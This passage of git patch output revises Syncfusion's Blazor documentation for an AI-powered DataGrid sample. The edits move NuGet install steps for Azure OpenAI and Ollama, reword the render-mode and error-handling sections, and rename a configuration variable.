 If you have not created a Blazor application yet, refer to the [Blazor getting started guide](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) to create a project.
 
 ## Prerequisites
 
-Install the required Syncfusion and AI service NuGet packages based on the selected AI service.
+Ensure that the required NuGet packages are installed based on the AI service you choose.
 
 ### For Azure OpenAI
 
@@ -24,32 +24,15 @@ Install the required Syncfusion and AI service NuGet packages based on the selec
 - [Microsoft.Extensions.AI.OpenAI](https://www.nuget.org/packages/Microsoft.Extensions.AI.OpenAI)
 - [Azure.AI.OpenAI](https://www.nuget.org/packages/Azure.AI.OpenAI)
 
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Microsoft.Extensions.AI
-Install-Package Microsoft.Extensions.AI.OpenAI
-Install-Package Azure.AI.OpenAI
-
-{% endhighlight %}
-{% endtabs %}
-
 ### For Ollama
 
 - [Microsoft.Extensions.AI](https://www.nuget.org/packages/Microsoft.Extensions.AI)
 - [OllamaSharp](https://www.nuget.org/packages/OllamaSharp)
 
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Microsoft.Extensions.AI
-Install-Package OllamaSharp
-
-{% endhighlight %}
-{% endtabs %}
-
 ### Syncfusion packages
 
+In addition to the AI-related packages, the following Syncfusion packages are required to render the Blazor DataGrid and apply themes.
+
 - [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid/)
 - [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
 - [Syncfusion.Blazor.AI](https://www.nuget.org/packages/Syncfusion.Blazor.AI)
@@ -60,6 +43,10 @@ Install-Package OllamaSharp
 Install-Package Syncfusion.Blazor.Grid -Version {{ site.releaseversion }}
 Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 Install-Package Syncfusion.Blazor.AI -Version {{ site.releaseversion }}
+Install-Package Microsoft.Extensions.AI
+Install-Package Microsoft.Extensions.AI.OpenAI  # For Azure OpenAI
+Install-Package Azure.AI.OpenAI  # For Azure OpenAI
+Install-Package OllamaSharp  # For Ollama
 
 {% endhighlight %}
 {% endtabs %}
@@ -75,14 +62,9 @@ Include the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor theme styles
 {% highlight html tabtitle="App.razor" %}
 
 <head>
-    ....
-    <!-- Syncfusion theme stylesheet -->
     <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
 </head>
-
 <body>
-    ....
-    <!-- Syncfusion Blazor core script (required for most components, including DataGrid) -->
     <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 </body>
 
@@ -93,7 +75,7 @@ N> Explore the [Blazor Themes](https://blazor.syncfusion.com/documentation/appea
 
 ## Configure AI service
 
-Choose one of the following AI services based on your requirements:
+Choose one of the following AI services (Azure OpenAI or Ollama) based on requirements:
 - **Azure OpenAI**: Enterprise-grade deployment with enhanced security and scalability.
 - **Ollama**: Self-hosted, privacy-focused AI models.
 
@@ -103,10 +85,22 @@ Follow the instructions for the selected service to register the AI model in the
 
 Deploy an Azure OpenAI Service resource and model as described in [Microsoft's documentation](https://learn.microsoft.com/en-us/azure/ai-services/openai/how-to/create-resource). Obtain values for `azureOpenAIKey`, `azureOpenAIEndpoint`, and `azureOpenAIModel`.
 
-Add the following to the **~/Program.cs** file in the Blazor Web App.
+- Install the required NuGet packages:
 
 {% tabs %}
-{% highlight C# tabtitle="Program.cs" hl_lines="8 9 10 11 12 13 14" %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Microsoft.Extensions.AI
+Install-Package Microsoft.Extensions.AI.OpenAI
+Install-Package Azure.AI.OpenAI
+
+{% endhighlight %}
+{% endtabs %}
+
+- Add the following to the **~/Program.cs** file in the Blazor Web App:
+
+{% tabs %}
+{% highlight C# tabtitle="Blazor WebApp" hl_lines="8 9 10 11 12 13 14" %}
 
 using Syncfusion.Blazor.AI;
 using Azure.AI.OpenAI;
@@ -135,14 +129,25 @@ var app = builder.Build();
 
 To use Ollama for self-hosted AI models:
 
-1. **Download and install Ollama**: Visit [Ollama's official website](https://ollama.com) and install the application for your operating system.
+1. **Download and install Ollama**: Visit [Ollama's official website](https://ollama.com) and install the application for the operating system.
 2. **Install a model**: Choose a model from the [Ollama Library](https://ollama.com/library) (for example, `llama2:13b`, `mistral:7b`).
-3. **Configure the application**: Provide the `Endpoint` URL (for example, `http://localhost:11434`) and `modelName` (for example, `llama2:13b`).
+3. **Configure the application**: Provide the `Endpoint` URL (for example, `http://localhost:11434`) and `ModelName` (for example, `llama2:13b`).
 
-Add the following to the **~/Program.cs** file in the Blazor Web App.
+- Install the required NuGet packages:
 
 {% tabs %}
-{% highlight C# tabtitle="Program.cs" hl_lines="7 8 9 10" %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Microsoft.Extensions.AI
+Install-Package OllamaSharp
+
+{% endhighlight %}
+{% endtabs %}
+
+- Add the following to the **~/Program.cs** file in the Blazor Web App:
+
+{% tabs %}
+{% highlight C# tabtitle="Blazor WebApp" hl_lines="7 8 9 10" %}
 
 using Syncfusion.Blazor.AI;
 using Microsoft.Extensions.AI;
@@ -150,8 +155,8 @@ using OllamaSharp;
 
 var builder = WebApplication.CreateBuilder(args);
 
-string modelName = "MODEL_NAME";
-IChatClient chatClient = new OllamaApiClient("http://localhost:11434", modelName);
+string ModelName = "MODEL_NAME";
+IChatClient chatClient = new OllamaApiClient("http://localhost:11434", ModelName);
 builder.Services.AddChatClient(chatClient);
 builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
 
@@ -160,7 +165,7 @@ var app = builder.Build();
 {% endhighlight %}
 {% endtabs %}
 
-N> Ensure the Ollama server is running and accessible at the specified endpoint (for example, `http://localhost:11434`) before starting the application.
+- **Verify connectivity**: Ensure the Ollama server is running and accessible at the specified endpoint (for example, `http://localhost:11434`) before starting the application.
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
@@ -196,48 +201,43 @@ await builder.Build().RunAsync();
 {% endhighlight %}
 {% endtabs %}
 
-## Configure render mode
+## Configure render mode (Server)
+
+For Server render mode, if your app's interactivity location is set to `Per page/component`, add the following directive at the top of each `~/Pages/*.razor` file that requires interactive Server components.
 
-If your app's interactivity location is set to **Per page/component**, add the required render mode directive at the top of each `~/Pages/*.razor` file that uses interactive components.
+**Per‑page directive (Server)**
 
 {% tabs %}
-{% highlight razor tabtitle="Server" %}
+{% highlight razor %}
 
+@* Define the desired render mode here *@
 @rendermode InteractiveServer
 
-{% endhighlight %}
-{% highlight razor tabtitle="WebAssembly" %}
-
-@rendermode InteractiveWebAssembly
-
-{% endhighlight %}
-{% highlight razor tabtitle="Auto" %}
-
-@rendermode InteractiveAuto
-
 {% endhighlight %}
 {% endtabs %}
 
-N> If the interactivity location is set to **Global**, no per-page directive is required.
+N> If the `interactivity location` is set to `Global` and the app is configured for Server render mode, no per‑page directive is required.
+
+## AI-powered DataGrid in Blazor
 
-## How AI models integrate with Blazor DataGrid
+This section explains how to integrate AI with the **Syncfusion® Blazor DataGrid** to analyze sales orders and generate business insights. The implementation uses Azure OpenAI or Ollama to return structured JSON with an executive summary, key trends, recommendations, and flagged order IDs. It also shows a loading spinner while the request is processing and highlights the rows identified by the AI in the grid.
 
-This sample demonstrates how to use the **Syncfusion® Blazor DataGrid** to analyze sales order data and generate business insights with AI models. The AI service returns structured JSON that includes an executive summary, key trends, recommendations, and flagged order IDs. While the request is being processed, a loading spinner is displayed, and the grid highlights the rows identified by the AI.
+### How the AI Integration Works
 
-The sample loads sales order data in `Home.razor.cs` and sends it to the AI service when the user selects **Generate AI Insights**.
+The sample loads sales order data in `Home.razor.cs` and sends it to the AI service when the user clicks **Generate AI Insights**.
 
-### Workflow
+Inside the workflow:
 
-- **Sample data**: A list of `SalesOrder` records is created with fields such as `OrderId`, `Customer`, `Region`, `Category`, `Sales`, `Profit`, and `OrderDate`.
-- **AI request**: The grid data is serialized to JSON and passed to `IChatInferenceService`.
-- **Structured response**: The prompt instructs the model to return JSON only with the following properties:
+- **Sample Data**: A list of `SalesOrder` records is created with fields such as `OrderId`, `Customer`, `Region`, `Category`, `Sales`, `Profit`, and `OrderDate`.
+- **AI Request**: The grid data is serialized to JSON and passed to `IChatInferenceService`.
+- **Structured Response**: The prompt asks the model to return JSON only with:
   - `summary`
   - `keyTrends`
   - `recommendations`
   - `flaggedOrderIds`
-- **Response handling**: The returned text is cleaned, deserialized, and stored in the `AiInsights` model.
-- **Row highlighting**: The `OnQueryCellInfo` event checks each row's `OrderId` and applies a highlight style to the flagged records.
-- **Insight display**: The summary, trends, and recommendations are displayed below the grid, and any errors are shown if the AI request fails.
+- **Response Handling**: The returned text is cleaned, deserialized, and stored in the `AiInsights` model.
+- **Row Highlighting**: The `OnQueryCellInfo` event checks each row’s `OrderId` and applies a highlight style for flagged records.
+- **Insight Display**: The summary, trends, and recommendations are shown below the grid, and errors are displayed if the AI request fails.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
@@ -477,22 +477,22 @@ public partial class Home
 {% endhighlight %}
 {% endtabs %}
 
-## Error handling and reliability in AI-powered DataGrids
-
-If the AI service fails to return a valid response, the Blazor DataGrid displays an appropriate error message to inform the user. To ensure reliability and a smooth user experience, consider handling the following common scenarios:
+## Error handling and troubleshooting
 
-- **Invalid configuration**: Ensure the API key, endpoint, and model name are valid and accessible.
-- **Model unavailable**: Ensure the specified `azureOpenAIModel` or `modelName` is deployed and supported.
-- **Network or service issues**: Verify connectivity to the AI service, including self‑hosted endpoints.
-- **Timeouts and large datasets**: Large requests may cause delays or timeouts, so consider batching data or optimizing prompts.
-- **Invalid AI responses**: Validate AI output before applying results to the DataGrid.
-- **Rate limits**: Handle throttling gracefully by retrying or informing the user.
-- **Fallback behavior**: Allow the DataGrid to continue displaying data if AI processing fails.
+If the AI service fails to return a valid response, the DataGrid displays an error message. Common issues include:
 
-N> In addition to standard errors, applications should **validate AI responses**, **handle rate limits**, and provide graceful fallback behavior to **ensure a reliable user experience**.
+- **Invalid API key or endpoint**: Verify that `azureOpenAIKey` or the Ollama `Endpoint` is correct and the service is accessible.
+- **Model unavailable**: Ensure the specified `azureOpenAIModel` or `ModelName` is deployed and supported.
+- **Network issues**: Check connectivity to the AI service endpoint, especially for self-hosted Ollama instances.
+- **Large datasets**: Processing large datasets may cause timeouts. Consider batching data or optimizing the prompt.
 
 ## Performance considerations
 
 When handling large datasets, ensure the Ollama server has sufficient resources (CPU/GPU) to process requests efficiently. For datasets exceeding 10,000 records, consider splitting the data into smaller batches to avoid performance bottlenecks. Test the application with your specific dataset to determine optimal performance.
 
+## Final output
+
+The following output shows the AI-generated insights in the DataGrid, including the executive summary, key trends, recommendations, and highlighted low-profit or loss-making order records.
+
 ![AI-powered DataGrid in Blazor](../images/ai-powered-blazor-datagrid.webp)
+

From 24a249ddc12e9ae67d525b3e0eb71850414d018a Mon Sep 17 00:00:00 2001
From: VaseegaranSF4468 <162665726+VaseegaranSF4468@users.noreply.github.com>
Date: Fri, 8 May 2026 21:07:56 +0530
Subject: [PATCH 6/6] 1013927: Updated the content

---
 .../datagrid/ai-powered-datagrid.md           | 66 ++++++++++---------
 1 file changed, 36 insertions(+), 30 deletions(-)

diff --git a/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md b/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md
index 8c1854b584..61dae52c56 100644
--- a/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md
+++ b/blazor/smart-ai-solutions/ai-samples/datagrid/ai-powered-datagrid.md
@@ -100,7 +100,7 @@ Install-Package Azure.AI.OpenAI
 - Add the following to the **~/Program.cs** file in the Blazor Web App:
 
 {% tabs %}
-{% highlight C# tabtitle="Blazor WebApp" hl_lines="8 9 10 11 12 13 14" %}
+{% highlight C# tabtitle="Program.cs" hl_lines="8 9 10 11 12 13 14" %}
 
 using Syncfusion.Blazor.AI;
 using Azure.AI.OpenAI;
@@ -147,7 +147,7 @@ Install-Package OllamaSharp
 - Add the following to the **~/Program.cs** file in the Blazor Web App:
 
 {% tabs %}
-{% highlight C# tabtitle="Blazor WebApp" hl_lines="7 8 9 10" %}
+{% highlight C# tabtitle="Program.cs" hl_lines="7 8 9 10" %}
 
 using Syncfusion.Blazor.AI;
 using Microsoft.Extensions.AI;
@@ -201,43 +201,48 @@ await builder.Build().RunAsync();
 {% endhighlight %}
 {% endtabs %}
 
-## Configure render mode (Server)
+## Configure render mode
 
-For Server render mode, if your app's interactivity location is set to `Per page/component`, add the following directive at the top of each `~/Pages/*.razor` file that requires interactive Server components.
-
-**Per‑page directive (Server)**
+If your app's interactivity location is set to **Per page/component**, add the required render mode directive at the top of each `~/Pages/*.razor` file that uses interactive components.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Server" %}
 
-@* Define the desired render mode here *@
 @rendermode InteractiveServer
 
 {% endhighlight %}
-{% endtabs %}
+{% highlight razor tabtitle="WebAssembly" %}
+
+@rendermode InteractiveWebAssembly
 
-N> If the `interactivity location` is set to `Global` and the app is configured for Server render mode, no per‑page directive is required.
+{% endhighlight %}
+{% highlight razor tabtitle="Auto" %}
 
-## AI-powered DataGrid in Blazor
+@rendermode InteractiveAuto
 
-This section explains how to integrate AI with the **Syncfusion® Blazor DataGrid** to analyze sales orders and generate business insights. The implementation uses Azure OpenAI or Ollama to return structured JSON with an executive summary, key trends, recommendations, and flagged order IDs. It also shows a loading spinner while the request is processing and highlights the rows identified by the AI in the grid.
+{% endhighlight %}
+{% endtabs %}
 
-### How the AI Integration Works
+N> If the interactivity location is set to **Global**, no per-page directive is required.
 
-The sample loads sales order data in `Home.razor.cs` and sends it to the AI service when the user clicks **Generate AI Insights**.
+## How AI models integrate with Blazor DataGrid
 
-Inside the workflow:
+This sample demonstrates how to use the **Syncfusion® Blazor DataGrid** to analyze sales order data and generate business insights with AI models. The AI service returns structured JSON that includes an executive summary, key trends, recommendations, and flagged order IDs. While the request is being processed, a loading spinner is displayed, and the grid highlights the rows identified by the AI.
 
-- **Sample Data**: A list of `SalesOrder` records is created with fields such as `OrderId`, `Customer`, `Region`, `Category`, `Sales`, `Profit`, and `OrderDate`.
-- **AI Request**: The grid data is serialized to JSON and passed to `IChatInferenceService`.
-- **Structured Response**: The prompt asks the model to return JSON only with:
+The sample loads sales order data in `Home.razor.cs` and sends it to the AI service when the user selects **Generate AI Insights**.
+
+### Workflow
+
+- **Sample data**: A list of `SalesOrder` records is created with fields such as `OrderId`, `Customer`, `Region`, `Category`, `Sales`, `Profit`, and `OrderDate`.
+- **AI request**: The grid data is serialized to JSON and passed to `IChatInferenceService`.
+- **Structured response**: The prompt instructs the model to return JSON only with the following properties:
   - `summary`
   - `keyTrends`
   - `recommendations`
   - `flaggedOrderIds`
-- **Response Handling**: The returned text is cleaned, deserialized, and stored in the `AiInsights` model.
-- **Row Highlighting**: The `OnQueryCellInfo` event checks each row’s `OrderId` and applies a highlight style for flagged records.
-- **Insight Display**: The summary, trends, and recommendations are shown below the grid, and errors are displayed if the AI request fails.
+- **Response handling**: The returned text is cleaned, deserialized, and stored in the `AiInsights` model.
+- **Row highlighting**: The `OnQueryCellInfo` event checks each row’s `OrderId` and applies a highlight style to the flagged records.
+- **Insight display**: The summary, trends, and recommendations are displayed below the grid, and any errors are shown if the AI request fails.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
@@ -477,22 +482,23 @@ public partial class Home
 {% endhighlight %}
 {% endtabs %}
 
-## Error handling and troubleshooting
+## Error handling and reliability in AI-powered DataGrids
 
-If the AI service fails to return a valid response, the DataGrid displays an error message. Common issues include:
+If the AI service fails to return a valid response, the Blazor DataGrid displays an appropriate error message to inform the user. To ensure reliability and a smooth user experience, consider handling the following common scenarios:
 
-- **Invalid API key or endpoint**: Verify that `azureOpenAIKey` or the Ollama `Endpoint` is correct and the service is accessible.
+- **Invalid configuration**: Ensure the API key, endpoint, and model name are valid and accessible.
 - **Model unavailable**: Ensure the specified `azureOpenAIModel` or `ModelName` is deployed and supported.
-- **Network issues**: Check connectivity to the AI service endpoint, especially for self-hosted Ollama instances.
-- **Large datasets**: Processing large datasets may cause timeouts. Consider batching data or optimizing the prompt.
+- **Network or service issues**: Verify connectivity to the AI service, including self‑hosted endpoints.
+- **Timeouts and large datasets**: Large requests may cause delays or timeouts; consider batching data or optimizing prompts.
+- **Invalid AI responses**: Validate AI output before applying results to the DataGrid.
+- **Rate limits**: Handle throttling gracefully by retrying or informing the user.
+- **Fallback behavior**: Allow the DataGrid to continue displaying data if AI processing fails.
+
+N> In addition to standard errors, applications should **validate AI responses**, **handle rate limits**, and provide graceful fallback behavior to **ensure a reliable user experience**.
 
 ## Performance considerations
 
 When handling large datasets, ensure the Ollama server has sufficient resources (CPU/GPU) to process requests efficiently. For datasets exceeding 10,000 records, consider splitting the data into smaller batches to avoid performance bottlenecks. Test the application with your specific dataset to determine optimal performance.
 
-## Final output
-
-The following output shows the AI-generated insights in the DataGrid, including the executive summary, key trends, recommendations, and highlighted low-profit or loss-making order records.
-
 ![AI-powered DataGrid in Blazor](../images/ai-powered-blazor-datagrid.webp)